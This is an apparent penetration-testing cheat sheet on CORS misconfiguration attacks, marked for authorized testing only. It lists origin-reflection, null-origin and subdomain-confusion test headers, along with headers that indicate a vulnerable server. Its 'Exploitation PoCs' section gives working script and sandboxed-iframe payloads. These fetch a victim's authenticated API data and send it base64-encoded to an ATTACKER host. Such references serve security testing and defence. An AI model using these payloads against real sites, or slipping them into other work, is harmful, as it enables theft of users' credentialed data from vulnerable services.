# CORS Misconfiguration Cheat Sheet

> CORS misconfiguration exploitation payloads for origin reflection, null origin, and wildcard subdomain attacks.

Source: https://payloadplayground.com/cheatsheets/cors

For authorized security testing only.

## Origin Reflection Tests

- `Origin: https://evil.com → check if Access-Control-Allow-Origin echoes it` — Reflected origin test
- `Origin: null → check if null origin is allowed` — Null origin test
- `Origin: https://trusted.com.evil.com → subdomain suffix match` — Subdomain suffix confusion
- `Origin: https://eviltrusted.com → prefix match` — Domain prefix confusion
- `Check if Access-Control-Allow-Credentials: true with reflected origin` — Credentials + reflected origin = critical

## Exploitation PoCs

- `<script>fetch("https://TARGET/api/sensitive",{credentials:"include"}).then(r=>r.text()).then(d=>fetch("https://ATTACKER/log?d="+btoa(d)))</script>` — Steal data via reflected origin
- `<iframe sandbox="allow-scripts" srcdoc="<script>fetch('https://TARGET/api/sensitive',{credentials:'include'}).then(r=>r.text()).then(d=>fetch('https://ATTACKER/log?d='+btoa(d)))</script>"></iframe>` — Null origin exploit via sandboxed iframe
- `Host PoC on subdomain of trusted domain if wildcard CORS configured` — Subdomain takeover → CORS exploit chain

## Detection Headers

- `Access-Control-Allow-Origin: *` — Wildcard — no credential theft possible
- `Access-Control-Allow-Origin: * + Allow-Credentials: true` — Invalid but some servers misconfigure
- `Access-Control-Allow-Origin: <reflected> + Allow-Credentials: true` — CRITICAL — full credential theft
- `Access-Control-Allow-Origin: null + Allow-Credentials: true` — Null origin with credentials — exploitable
- `No ACAO header → not vulnerable to CORS attacks` — Safe — no CORS misconfiguration

## Related

- [CORS Misconfiguration generator](https://payloadplayground.com/generators/cors-misconfiguration)
- [CSRF generator](https://payloadplayground.com/generators/csrf)
- [CSRF Cheat Sheet](https://payloadplayground.com/cheatsheets/csrf.md)
- [XSS Payloads & Filter Bypass — Cheat Sheet](https://payloadplayground.com/cheatsheets/xss.md)
